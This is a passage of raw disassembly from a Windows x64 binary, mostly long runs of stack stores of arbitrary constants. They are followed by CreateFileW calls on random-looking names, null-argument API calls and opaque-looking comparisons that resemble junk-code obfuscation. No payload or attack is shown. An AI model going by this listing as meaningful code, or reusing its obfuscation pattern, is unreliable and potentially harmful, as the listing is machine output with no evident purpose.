mov dword [rsp + 0xc818], 0xc3d7
mov dword [rsp + 0xc81c], 0x1d98
mov eax, 0x108
mov word [rsp + 0x33e0], ax
mov eax, 0x43d
mov word [rsp + 0x33e4], ax
mov dword [rsp + 0xc820], 0xbc74
mov dword [rsp + 0xc824], 0xe583
mov dword [rsp + 0xc828], 0x5748
mov eax, 0x730
mov word [rsp + 0x33e8], ax
mov dword [rsp + 0xc82c], 0x647e
mov byte [rsp + 0x707], 0x57
mov eax, 0xdd4
mov word [rsp + 0x33ec], ax
mov dword [rsp + 0xc830], 0x5353
mov byte [rsp + 0x708], 0x15
mov dword [rsp + 0xc834], 0xff29
mov dword [rsp + 0xc838], 0x3846
mov eax, 0x260
mov word [rsp + 0x33f0], ax
mov dword [rsp + 0xc83c], 0x520
mov dword [rsp + 0xc840], 0xd33
mov eax, 0xe89
mov word [rsp + 0x33f4], ax
mov dword [rsp + 0xc844], 0x72ea
mov dword [rsp + 0xc848], 0xcfac
mov byte [rsp + 0x709], 0x43
mov dword [rsp + 0xc84c], 0x3efc
mov dword [rsp + 0xc850], 0x327d
mov byte [rsp + 0x70a], 0x7e
mov dword [rsp + 0xc854], 0x2afb
mov eax, 0xdc6
mov word [rsp + 0x33f8], ax
mov dword [rsp + 0xc858], 0x4917
mov eax, 0x20a
mov word [rsp + 0x33fc], ax
mov dword [rsp + 0xc85c], 0x4a79
mov eax, 0x262
mov word [rsp + 0x3400], ax
mov dword [rsp + 0xc860], 0xa91b
mov byte [rsp + 0x70b], 0xec
mov dword [rsp + 0xc864], 0x26a6
mov dword [rsp + 0xc868], 0xdfb2
mov dword [rsp + 0xc86c], 0x3d98
mov dword [rsp + 0xc870], 0x77d0
mov dword [rsp + 0xc874], 0x2d79
mov dword [rsp + 0xc878], 0x5e26
mov dword [rsp + 0xc87c], 0xa57f
mov dword [rsp + 0xc880], 0x6eb4
mov eax, 0x991
mov word [rsp + 0x3404], ax
mov dword [rsp + 0xc884], 0x51bb
mov dword [rsp + 0xc888], 0x1a00
mov dword [rsp + 0xc88c], 0x1f93
mov byte [rsp + 0x70c], 0x1d
mov eax, 0x630
mov word [rsp + 0x3408], ax
mov dword [rsp + 0xc890], 0x1bd
mov dword [rsp + 0xc894], 0x6ec7
mov dword [rsp + 0xc898], 0x3f85
mov dword [rsp + 0xc89c], 0x54b0
mov byte [rsp + 0x70d], 0x78
mov eax, 0x586
mov word [rsp + 0x340c], ax
mov dword [rsp + 0xc8a0], 0x6d53
mov dword [rsp + 0xc8a4], 0xaba2
mov dword [rsp + 0xc8a8], 0x6f2
mov dword [rsp + 0xc8ac], 0x5010
mov byte [rsp + 0x70e], 0x95
mov dword [rsp + 0xc8b0], 0x8a7c
mov eax, 0x637
mov word [rsp + 0x3410], ax
mov eax, 0x2be
mov word [rsp + 0x3414], ax
mov dword [rsp + 0xc8b4], 0x3be8
mov byte [rsp + 0x70f], 0x44
mov dword [rsp + 0xc8b8], 0x3fb3
mov dword [rsp + 0xc8bc], 0x3a76
mov dword [rsp + 0xc8c0], 0x589e
mov dword [rsp + 0xc8c4], 0x3b7a
mov eax, 0x628
mov word [rsp + 0x3418], ax
mov eax, 0xef
mov word [rsp + 0x341c], ax
mov dword [rsp + 0xc8c8], 0x402e
mov byte [rsp + 0x710], 0xfa
mov dword [rsp + 0xc8cc], 0x7985
mov byte [rsp + 0x711], 0x43
mov dword [rsp + 0xc8d0], 0x1b52
mov dword [rsp + 0xc8d4], 0x3f5a
mov dword [rsp + 0xc8d8], 0x4065
mov eax, 0xaba
mov word [rsp + 0x3420], ax
mov dword [rsp + 0xc8dc], 0x7b62
mov dword [rsp + 0xc8e0], 0x1ef
mov byte [rsp + 0x712], 0x66
mov dword [rsp + 0xc8e4], 0xc4ed
mov byte [rsp + 0x713], 0x1b
mov byte [rsp + 0x714], 0xfb
mov dword [rsp + 0xc8e8], 0xa11f
mov dword [rsp + 0xc8ec], 0xd1a
mov dword [rsp + 0xc8f0], 0xf989
mov dword [rsp + 0xc8f4], 0xedb0
mov dword [rsp + 0xc8f8], 0x5ca7
mov dword [rsp + 0xc8fc], 0x1d45
mov eax, 0xeb4
mov word [rsp + 0x3424], ax
mov eax, 0x365
mov word [rsp + 0x3428], ax
mov dword [rsp + 0xc900], 0x9df5
mov dword [rsp + 0xc904], 0x428b
mov byte [rsp + 0x715], 0x5d
mov byte [rsp + 0x716], 0x15
mov byte [rsp + 0x717], 0x1c
mov dword [rsp + 0xc908], 0x37ea
mov dword [rsp + 0xc90c], 0x65a0
mov dword [rsp + 0xc910], 0x5afc
mov dword [rsp + 0xc914], 0x6352
mov dword [rsp + 0xc918], 0x7879
mov eax, 0x390
mov word [rsp + 0x342c], ax
mov dword [rsp + 0xc91c], 0x7d8
mov dword [rsp + 0xc920], 0x6a13
mov byte [rsp + 0x718], 0x5f
mov dword [rsp + 0xc924], 0x21d6
mov dword [rsp + 0xc928], 0x28d9
mov byte [rsp + 0x719], 0x6e
mov dword [rsp + 0xc92c], 0xdb42
mov dword [rsp + 0xc930], 0x7ca4
mov dword [rsp + 0xc934], 0x4012
mov dword [rsp + 0xc938], 0xdf9
mov dword [rsp + 0xc93c], 0x1a
mov dword [rsp + 0xc940], 0x6f9a
mov dword [rsp + 0xc944], 0x7e09
mov dword [rsp + 0xc948], 0x3a9b
mov eax, 0xd98
mov word [rsp + 0x3430], ax
mov byte [rsp + 0x71a], 0xa6
mov dword [rsp + 0xc94c], 0x3950
mov dword [rsp + 0xc950], 0xa04
mov eax, 0x448
mov word [rsp + 0x3434], ax
mov dword [rsp + 0xc954], 0x6e06
mov dword [rsp + 0xc958], 0x2602
mov dword [rsp + 0xc95c], 0x6daa
mov dword [rsp + 0xc960], 0x3ffa
mov dword [rsp + 0xc964], 0x4b5c
mov dword [rsp + 0xc968], 0x6e6
mov dword [rsp + 0xc96c], 0x1eb
mov eax, 0x799
mov word [rsp + 0x3438], ax
mov dword [rsp + 0xc970], 0x6cb2
mov eax, 0xd6d
mov word [rsp + 0x343c], ax
mov dword [rsp + 0xc974], 0x6edd
mov byte [rsp + 0x71b], 0x8b
mov dword [rsp + 0xc978], 0x4875
mov byte [rsp + 0x71c], 0xfd
mov eax, 0xfad
mov word [rsp + 0x3440], ax
mov byte [rsp + 0x71d], 0x15
mov dword [rsp + 0xc97c], 0xa8e2
mov dword [rsp + 0xc980], 0xc22
mov eax, 0x49c
mov word [rsp + 0x3444], ax
mov dword [rsp + 0xc984], 0x3d60
mov byte [rsp + 0x71e], 0x69
mov dword [rsp + 0xc988], 0x5576
mov dword [rsp + 0xc98c], 0x1c6b
mov dword [rsp + 0xc990], 0x18cc
mov eax, 0x371
mov word [rsp + 0x3448], ax
mov eax, 0x567
mov word [rsp + 0x344c], ax
mov byte [rsp + 0x71f], 0x16
mov eax, 0xa3f
mov word [rsp + 0x3450], ax
mov dword [rsp + 0xc994], 0x3707
mov dword [rsp + 0xc998], 0x3ba6
mov dword [rsp + 0xc99c], 0x381d
mov byte [rsp + 0x720], 0x6e
mov eax, 0xd9b
mov word [rsp + 0x3454], ax
mov eax, 0x28d
mov word [rsp + 0x3458], ax
mov dword [rsp + 0xc9a0], 0x3b38
mov dword [rsp + 0xc9a4], 0x595c
mov dword [rsp + 0xc9a8], 0x7b4
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x345c], ax
mov eax, 0xa81
mov word [rsp + 0x3460], ax
mov dword [rsp + 0xc9ac], 0x1bd1
mov eax, 0x9b1
mov word [rsp + 0x3464], ax
mov eax, 0x57
mov word [rsp + 0x3468], ax
mov dword [rsp + 0xc9b0], 0xb94f
mov byte [rsp + 0x721], 0x43
mov dword [rsp + 0xc9b4], 0xaa07
mov eax, 0x5dc
mov word [rsp + 0x346c], ax
mov byte [rsp + 0x722], 0x56
mov byte [rsp + 0x723], 0x93
mov eax, 0xe18
mov word [rsp + 0x3470], ax
mov byte [rsp + 0x724], 0x7d
mov byte [rsp + 0x725], 0xc
mov dword [rsp + 0xc9b8], 0x44ca
mov eax, 0x37c
mov word [rsp + 0x3474], ax
mov dword [rsp + 0xc9bc], 0x7eba
mov eax, 0x3b0
mov word [rsp + 0x3478], ax
mov dword [rsp + 0xc9c0], 0x1616
mov dword [rsp + 0xc9c4], 0x3143
mov byte [rsp + 0x726], 0xbf
mov byte [rsp + 0x727], 0xf8
mov dword [rsp + 0xc9c8], 0xcdbc
mov byte [rsp + 0x728], 0x8e
mov byte [rsp + 0x729], 9
mov dword [rsp + 0xc9cc], 0xf3d
mov dword [rsp + 0xc9d0], 0x66b4
mov dword [rsp + 0xc9d4], 0x6440
mov byte [rsp + 0x72a], 0xae
mov dword [rsp + 0xc9d8], 0xcf12
mov eax, 0x7f2
mov word [rsp + 0x347c], ax
mov dword [rsp + 0xc9dc], 0x4a4b
mov dword [rsp + 0xc9e0], 0x640e
mov dword [rsp + 0xc9e4], 0x2575
mov dword [rsp + 0xc9e8], 0x731c
mov dword [rsp + 0xc9ec], 0x82f
mov dword [rsp + 0xc9f0], 0x549c
mov dword [rsp + 0xc9f4], 0x725c
mov eax, 0x95d
mov word [rsp + 0x3480], ax
mov byte [rsp + 0x72b], 0x33
mov byte [rsp + 0x72c], 0x5a
mov byte [rsp + 0x72d], 0x4f
mov eax, 0x6e9
mov word [rsp + 0x3484], ax
mov byte [rsp + 0x72e], 0xf7
mov dword [rsp + 0xc9f8], 0x2cd5
mov dword [rsp + 0xc9fc], 0x45d1
mov dword [rsp + 0xca00], 0x16b7
mov eax, 2
mov word [rsp + 0x3488], ax
mov dword [rsp + 0xca04], 0x37c4
mov dword [rsp + 0xca08], 0x5cf0
mov dword [rsp + 0xca0c], 0x5f56
mov dword [rsp + 0xca10], 0x9986
mov dword [rsp + 0xca14], 0x8ba1
mov dword [rsp + 0xca18], 0x7f9b
mov dword [rsp + 0xca1c], 0x3de8
mov eax, 0x5fd
mov word [rsp + 0x348c], ax
mov byte [rsp + 0x72f], 0xbc
mov eax, 0x44b
mov word [rsp + 0x3490], ax
mov eax, 0x2ec
mov word [rsp + 0x3494], ax
mov dword [rsp + 0xca20], 0x6161
mov byte [rsp + 0x730], 0x37
mov dword [rsp + 0xca24], 0x5a87
mov byte [rsp + 0x731], 0x3e
mov eax, 0x5b3
mov word [rsp + 0x3498], ax
mov eax, 0x257
mov word [rsp + 0x349c], ax
mov dword [rsp + 0xca28], 0x15d2
mov eax, 0x310
mov word [rsp + 0x34a0], ax
mov byte [rsp + 0x732], 0xa
mov byte [rsp + 0x733], 0x42
mov eax, 0xf5a
mov word [rsp + 0x34a4], ax
mov byte [rsp + 0x734], 0xe
mov dword [rsp + 0xca2c], 0x3b27
mov eax, 0x189
mov word [rsp + 0x34a8], ax
mov byte [rsp + 0x735], 0xb7
mov eax, 0x16e
mov word [rsp + 0x34ac], ax
mov dword [rsp + 0xca30], 0x486e
mov byte [rsp + 0x736], 0x5e
mov byte [rsp + 0x737], 0x1b
mov dword [rsp + 0xca34], 0xc341
mov byte [rsp + 0x738], 0x74
mov dword [rsp + 0xca38], 0x289e
mov byte [rsp + 0x739], 0x4a
mov dword [rsp + 0xca3c], 0x5c30
mov eax, 0x3ac
mov word [rsp + 0x34b0], ax
mov byte [rsp + 0x73a], 0xa5
mov dword [rsp + 0xca40], 0xc9e2
mov byte [rsp + 0x73b], 0x36
mov byte [rsp + 0x73c], 0x61
mov dword [rsp + 0xca44], 0x6784
mov eax, 0x597
mov word [rsp + 0x34b4], ax
mov dword [rsp + 0xca48], 0x7cae
mov dword [rsp + 0xca4c], 0x7fb7
mov dword [rsp + 0xca50], 0x5d16
mov eax, 0x5d5
mov word [rsp + 0x34b8], ax
mov eax, 0x692
mov word [rsp + 0x34bc], ax
mov byte [rsp + 0x73d], 0x19
mov dword [rsp + 0xca54], 0x3aff
mov dword [rsp + 0xca58], 0x7416
mov byte [rsp + 0x73e], 0xe8
mov dword [rsp + 0xca5c], 0xb59c
mov eax, 0x2a4
mov word [rsp + 0x34c0], ax
mov dword [rsp + 0xca60], 0x7f2d
mov dword [rsp + 0xca64], 0xe17a
mov byte [rsp + 0x73f], 0xd2
mov dword [rsp + 0xca68], 0x5979
mov dword [rsp + 0xca6c], 0x7783
mov dword [rsp + 0xca70], 0x5027
mov dword [rsp + 0xca74], 0xe61e
mov byte [rsp + 0x740], 0xe
mov dword [rsp + 0xca78], 0x7c1
mov eax, 0x1c0
mov word [rsp + 0x34c4], ax
mov dword [rsp + 0xca7c], 0x192
mov dword [rsp + 0xca80], 0x2d81
mov eax, 0x175
mov word [rsp + 0x34c8], ax
mov byte [rsp + 0x741], 0xcc
mov dword [rsp + 0xca84], 0x1218
mov eax, 0x5f0
mov word [rsp + 0x34cc], ax
mov dword [rsp + 0xca88], 0x29ed
mov byte [rsp + 0x742], 0x52
mov dword [rsp + 0xca8c], 0x821
mov eax, 0x77
mov word [rsp + 0x34d0], ax
mov dword [rsp + 0xca90], 0xb8a6
mov eax, 0xc61
mov word [rsp + 0x34d4], ax
mov dword [rsp + 0xca94], 0xe4e
mov dword [rsp + 0xca98], 0x2d3a
mov dword [rsp + 0xca9c], 0x75
mov dword [rsp + 0xcaa0], 0x15f0
mov eax, 0x3ea
mov word [rsp + 0x34d8], ax
mov dword [rsp + 0xcaa4], 0x4c28
mov dword [rsp + 0xcaa8], 0xc9c
mov byte [rsp + 0x743], 0xb3
mov byte [rsp + 0x744], 0xaa
mov byte [rsp + 0x745], 0xed
mov byte [rsp + 0x746], 0xba
mov eax, 0xfbd
mov word [rsp + 0x34dc], ax
mov dword [rsp + 0xcaac], 0x5371
mov dword [rsp + 0xcab0], 0x114f
mov byte [rsp + 0x747], 0x6f
mov dword [rsp + 0xcab4], 0x46cf
mov eax, 0x1c0
mov word [rsp + 0x34e0], ax
mov dword [rsp + 0xcab8], 0x698b
mov dword [rsp + 0xcabc], 0x37e
mov byte [rsp + 0x748], 0xc
mov eax, 0x1db
mov word [rsp + 0x34e4], ax
mov dword [rsp + 0xcac0], 0x5cae
mov byte [rsp + 0x749], 0xb4
mov dword [rsp + 0xcac4], 0x39dd
mov dword [rsp + 0xcac8], 0x3f29
mov dword [rsp + 0xcacc], 0x1cde
mov dword [rsp + 0xcad0], 0x49d1
mov dword [rsp + 0xcad4], 0xf835
mov dword [rsp + 0xcad8], 0x975
mov dword [rsp + 0xcadc], 0x35df
mov byte [rsp + 0x74a], 0x91
mov dword [rsp + 0xcae0], 0x528c
mov dword [rsp + 0xcae4], 0x2a84
mov dword [rsp + 0xcae8], 0x2683
mov dword [rsp + 0xcaec], 0xb613
mov byte [rsp + 0x74b], 0x7d
mov byte [rsp + 0x74c], 0x79
mov byte [rsp + 0x74d], 0x35
mov dword [rsp + 0xcaf0], 0x3707
mov dword [rsp + 0xcaf4], 0x13b3
mov dword [rsp + 0xcaf8], 0x648e
mov dword [rsp + 0xcafc], 0x6e98
mov eax, 0x7d
mov word [rsp + 0x34e8], ax
mov dword [rsp + 0xcb00], 0x9198
mov byte [rsp + 0x74e], 0xd9
mov dword [rsp + 0xcb04], 0x53c0
mov dword [rsp + 0xcb08], 0xe15c
mov dword [rsp + 0xcb0c], 0x4019
mov eax, 0x268
mov word [rsp + 0x34ec], ax
mov byte [rsp + 0x74f], 0x98
mov dword [rsp + 0xcb10], 0x231c
mov byte [rsp + 0x750], 0x57
mov eax, 0xe27
mov word [rsp + 0x34f0], ax
mov byte [rsp + 0x751], 8
mov eax, 0x424
mov word [rsp + 0x34f4], ax
mov dword [rsp + 0xcb14], 0x2428
mov dword [rsp + 0xcb18], 0x524d
mov dword [rsp + 0xcb1c], 0x912e
mov byte [rsp + 0x752], 0x9d
mov eax, 0xe57
mov word [rsp + 0x34f8], ax
mov dword [rsp + 0xcb20], 0x632c
mov dword [rsp + 0xcb24], 0x7d0f
mov byte [rsp + 0x753], 0x12
mov dword [rsp + 0xcb28], 0x3aa1
mov dword [rsp + 0xcb2c], 0x6c79
mov dword [rsp + 0xcb30], 0xfb77
mov dword [rsp + 0xcb34], 0xaa8
mov dword [rsp + 0xcb38], 0x6902
mov dword [rsp + 0xcb3c], 0x3b03
mov byte [rsp + 0x754], 0xe1
mov byte [rsp + 0x755], 0xb7
mov byte [rsp + 0x756], 0xf9
mov byte [rsp + 0x757], 0
mov dword [rsp + 0xcb40], 0x3a1b
mov dword [rsp + 0xcb44], 0x4e7c
mov dword [rsp + 0xcb48], 0x5308
mov dword [rsp + 0xcb4c], 0x3f2c
mov byte [rsp + 0x758], 0x2f
mov dword [rsp + 0xcb50], 0x2782
mov dword [rsp + 0xcb54], 0x6b01
mov byte [rsp + 0x759], 0x61
mov dword [rsp + 0xcb58], 0x2955
mov dword [rsp + 0xcb5c], 0x2d73
mov byte [rsp + 0x75a], 0x25
mov dword [rsp + 0xcb60], 0x2476
mov byte [rsp + 0x75b], 0xda
mov dword [rsp + 0xcb64], 0x43fa
mov eax, 0xab8
mov word [rsp + 0x34fc], ax
mov dword [rsp + 0xcb68], 0x31d7
mov dword [rsp + 0xcb6c], 0x6ea5
mov eax, 0x5d9
mov word [rsp + 0x3500], ax
mov eax, 0xb4
mov word [rsp + 0x3504], ax
mov eax, ILSaveToStream
mov word [rsp + 0x3508], ax
mov eax, 0xe18
mov word [rsp + 0x350c], ax
mov eax, 0x2b2
mov word [rsp + 0x3510], ax
mov dword [rsp + 0xcb70], 0x7c2d
mov eax, 0x4cd
mov word [rsp + 0x3514], ax
mov byte [rsp + 0x75c], 0xed
mov dword [rsp + 0xcb74], 0x1603
mov dword [rsp + 0xcb78], 0xa2f
mov eax, 0x922
mov word [rsp + 0x3518], ax
mov eax, 0x6ed
mov word [rsp + 0x351c], ax
mov eax, 0xa00
mov word [rsp + 0x3520], ax
mov dword [rsp + 0xcb7c], 0xa2c7
mov dword [rsp + 0xcb80], 0x7b22
mov dword [rsp + 0xcb84], 0x72e
mov dword [rsp + 0xcb88], 0xb0d6
mov byte [rsp + 0x75d], 0x7f
mov dword [rsp + 0xcb8c], 0x7d5
mov dword [rsp + 0xcb90], 0xb249
mov eax, 0xbf
mov word [rsp + 0x3524], ax
mov byte [rsp + 0x75e], 0xb5
mov eax, 0x8a3
mov word [rsp + 0x3528], ax
mov byte [rsp + 0x75f], 0x66
mov dword [rsp + 0xcb94], 0x60f2
mov dword [rsp + 0xcb98], 0x148a
mov eax, 0x3b8
mov word [rsp + 0x352c], ax
mov byte [rsp + 0x760], 9
mov dword [rsp + 0xcb9c], 0x8c87
mov dword [rsp + 0xcba0], 0x1fe3
mov dword [rsp + 0xcba4], 0x4c74
mov eax, 0x45c
mov word [rsp + 0x3530], ax
mov dword [rsp + 0xcba8], 0xa68
mov byte [rsp + 0x761], 0x10
mov eax, 0x688
mov word [rsp + 0x3534], ax
mov dword [rsp + 0xcbac], 0xe692
mov dword [rsp + 0xcbb0], 0x4281
mov byte [rsp + 0x762], 0x3b
mov dword [rsp + 0xcbb4], 0x6d7
mov dword [rsp + 0xcbb8], 0x61dd
mov eax, 0x878
mov word [rsp + 0x3538], ax
mov eax, 0x328
mov word [rsp + 0x353c], ax
mov dword [rsp + 0xcbbc], 0x4e70
mov dword [rsp + 0xcbc0], 0x140d
mov byte [rsp + 0x763], 0xc4
mov byte [rsp + 0x764], 0x2b
mov eax, 0xdde
mov word [rsp + 0x3540], ax
mov dword [rsp + 0xcbc4], 0x206d
mov eax, 0x4a1
mov word [rsp + 0x3544], ax
mov eax, 0xba9
mov word [rsp + 0x3548], ax
mov eax, 0xcd
mov word [rsp + 0x354c], ax
mov dword [rsp + 0xcbc8], 0x762c
mov dword [rsp + 0xcbcc], 0x68a9
mov eax, 0x5b9
mov word [rsp + 0x3550], ax
mov dword [rsp + 0xcbd0], 0x5dba
mov dword [rsp + 0xcbd4], 0x28b0
mov eax, 0x431
mov word [rsp + 0x3554], ax
mov byte [rsp + 0x765], 0x1d
mov eax, 0x916
mov word [rsp + 0x3558], ax
mov dword [rsp + 0xcbd8], 0x781e
mov dword [rsp + 0xcbdc], 0x609d
mov dword [rsp + 0xcbe0], 0x3c37
mov eax, 0x705
mov word [rsp + 0x355c], ax
mov byte [rsp + 0x766], 0x31
mov byte [rsp + 0x767], 0x71
mov dword [rsp + 0xcbe4], 0x6b01
mov dword [rsp + 0xcbe8], 0x3351
mov dword [rsp + 0xcbec], 0x1eef
mov dword [rsp + 0xcbf0], 0xe180
mov byte [rsp + 0x768], 0x85
mov dword [rsp + 0xcbf4], 0xae79
mov dword [rsp + 0xcbf8], 0x30ff
mov byte [rsp + 0x769], 0xfd
mov byte [rsp + 0x76a], 0xa8
mov dword [rsp + 0xcbfc], 0x8061
mov dword [rsp + 0xcc00], 0x2986
mov dword [rsp + 0xcc04], 0x7548
mov dword [rsp + 0xcc08], 0xe95
mov byte [rsp + 0x76b], 0x2d
mov eax, 0xd49
mov word [rsp + 0x3560], ax
mov dword [rsp + 0xcc0c], 0x36d3
mov byte [rsp + 0x76c], 0x11
mov byte [rsp + 0x76d], 0x7d
mov byte [rsp + 0x76e], 0x6d
mov dword [rsp + 0xcc10], 0xb9c7
mov dword [rsp + 0xcc14], 0x4ed9
mov byte [rsp + 0x76f], 0xc1
mov eax, 0x403
mov word [rsp + 0x3564], ax
mov byte [rsp + 0x770], 0xd8
mov dword [rsp + 0xcc18], 0x387b
mov dword [rsp + 0xcc1c], 0x5fbc
mov dword [rsp + 0xcc20], 0x3498
mov eax, 0xc96
mov word [rsp + 0x3568], ax
mov eax, 0x5e5
mov word [rsp + 0x356c], ax
mov eax, 0x779
mov word [rsp + 0x3570], ax
mov byte [rsp + 0x771], 0x1f
mov byte [rsp + 0x772], 0x72
mov eax, 0xb14
mov word [rsp + 0x3574], ax
mov dword [rsp + 0xcc24], 0x2800
mov dword [rsp + 0xcc28], 0x3dd0
mov eax, 0x3be
mov word [rsp + 0x3578], ax
mov eax, 0xaba
mov word [rsp + 0x357c], ax
mov dword [rsp + 0xcc2c], 0x6cf4
mov dword [rsp + 0xcc30], 0x7c7e
mov dword [rsp + 0xcc34], 0xf98
mov byte [rsp + 0x773], 0x8b
mov eax, ILSaveToStream
mov word [rsp + 0x3580], ax
mov eax, 0xe96
mov word [rsp + 0x3584], ax
mov dword [rsp + 0xcc38], 0x113e
mov eax, 0xbc
mov word [rsp + 0x3588], ax
mov byte [rsp + 0x774], 0x8b
mov dword [rsp + 0xcc3c], 0x1616
mov dword [rsp + 0xcc40], 0x11dd
mov dword [rsp + 0xcc44], 0x5889
mov dword [rsp + 0xcc48], 0x195e
mov dword [rsp + 0xcc4c], 0x9ddf
mov dword [rsp + 0xcc50], 0x100b
mov dword [rsp + 0xcc54], 0x6b42
mov byte [rsp + 0x775], 0x3b
mov dword [rsp + 0xcc58], 0xad
mov dword [rsp + 0xcc5c], 0xc39
mov dword [rsp + 0xcc60], 0x7cf5
mov dword [rsp + 0xcc64], 0x2e87
mov eax, 0x565
mov word [rsp + 0x358c], ax
mov byte [rsp + 0x776], 0x78
mov dword [rsp + 0xcc68], 0xabef
mov dword [rsp + 0xcc6c], 0x195f
mov byte [rsp + 0x777], 0x17
mov dword [rsp + 0xcc70], 0xe5b8
mov eax, 0x596
mov word [rsp + 0x3590], ax
mov dword [rsp + 0xcc74], 0x7563
mov byte [rsp + 0x778], 0x84
mov byte [rsp + 0x779], 0x8d
mov dword [rsp + 0xcc78], 0xfb1
mov dword [rsp + 0xcc7c], 0x930b
mov dword [rsp + 0xcc80], 0x1fc5
mov dword [rsp + 0xcc84], 0x1ad7
mov byte [rsp + 0x77a], 0xf
mov dword [rsp + 0xcc88], 0xd13e
mov dword [rsp + 0xcc8c], 0x63b0
mov dword [rsp + 0xcc90], 0x7f7a
mov byte [rsp + 0x77b], 0x2b
mov dword [rsp + 0xcc94], 0xfd4e
mov dword [rsp + 0xcc98], 0x4374
mov byte [rsp + 0x77c], 0xcb
mov dword [rsp + 0xcc9c], 0x71c5
mov eax, 0x453
mov word [rsp + 0x3594], ax
mov dword [rsp + 0xcca0], 0x2af3
mov dword [rsp + 0xcca4], 0xaa03
mov eax, 0x346
mov word [rsp + 0x3598], ax
mov byte [rsp + 0x77d], 0x7b
mov eax, 0x2f3
mov word [rsp + 0x359c], ax
mov byte [rsp + 0x77e], 0x75
mov dword [rsp + 0xcca8], 0x31de
mov byte [rsp + 0x77f], 0x51
mov eax, 0xe2
mov word [rsp + 0x35a0], ax
mov dword [rsp + 0xccac], 0x6fde
mov byte [rsp + 0x780], 0x3b
mov dword [rsp + 0xccb0], 0x26e3
mov dword [rsp + 0xccb4], 0x2db1
mov dword [rsp + 0xccb8], 0x22e5
mov byte [rsp + 0x781], 0x15
mov dword [rsp + 0xccbc], 0x3b19
mov dword [rsp + 0xccc0], 0x4caa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.mf4oSZtFjp0HPZ9rNL2vJa9KlAbjN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19688], rax
mov dword [rsp + 0xccc4], 0x1038b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xccc8], eax
mov dword [rsp + 0xcccc], 0x766a
mov eax, dword [rsp + 0xccc0]
mov dword [rsp + 0xccd0], eax
cmp dword [rsp + 0xccd0], 0x4caa
je 0x140019f72
jmp 0x14001a004
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.JXerUCWSrL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19690], rax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.9ZXUWqbRBqJF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19698], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
jmp 0x14001a009
call fcn.14028d790
cmp dword [rsp + 0xccc0], 0x633c
jle 0x14001a064
mov eax, dword [rsp + 0xccc0]
add eax, 0x4b88
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xccc0]
and eax, 0x246e
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xccc0]
or eax, 0x1846
mov dword [rsp + 0xccc0], eax
mov edx, dword [rsp + 0xccc0]
mov ecx, dword [rsp + 0xccc0]
call fcn.14028d570
jmp 0x14001a09f
mov eax, dword [rsp + 0xccc0]
sub eax, 0x682b
cmp eax, 0x54b3
jl 0x14001a09f
mov rdx, qword [rsp + 0x196a0]
mov rcx, qword [rsp + 0x196a8]
call qword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov qword [rsp + 0x196b0], rax
mov ecx, 0xe3
call fcn.14028d430
lea rax, [rsp + 0xccc0]
mov qword [rsp + 0x196b8], rax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
shl eax, 0x26
cmp eax, dword [rsp + 0xccc0]
jle 0x14028d32d
mov eax, dword [rsp + 0xccc0]
mov dword [rsp + 0xccd4], eax
cmp dword [rsp + 0xccd4], 0x23e0
je 0x14001a0e6
jmp 0x14001a135
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x5792
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x2a9
mov dword [rsp + 0xccc0], eax
lea rdx, [rsp + 0x196a0]
lea rcx, [rsp + 0xccc0]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x196c0], rax
jmp 0x14028d2ff
movsx eax, byte [rsp + 0x55e]
or eax, 0x55
mov byte [rsp + 0x55e], al
mov dword [rsp + 0xccd8], 0x555c
cmp dword [rsp + 0xccc4], 0xd71e
jb 0x14001a39c
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
xor eax, 0x7153
mov dword [rsp + 0xccc0], eax
movsx eax, byte [rsp + 0x55e]
sar eax, 4
mov byte [rsp + 0x55e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xccdc], eax
movsx eax, byte [rsp + 0x55e]
shl eax, 2
mov byte [rsp + 0x55e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov eax, dword [rsp + 0xccc0]
and eax, 0x3fa0
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x420c
mov dword [rsp + 0xccc0], eax
movsx eax, byte [rsp + 0x55e]
add eax, 0x3b
mov byte [rsp + 0x55e], al
movsx eax, byte [rsp + 0x55e]
sub eax, 0x72
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x51e
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xccc0]
and eax, 0x7352
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x55e]
sub eax, 0xc
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x1390
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xccc0]
sub eax, 0x6f7a
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd2d1
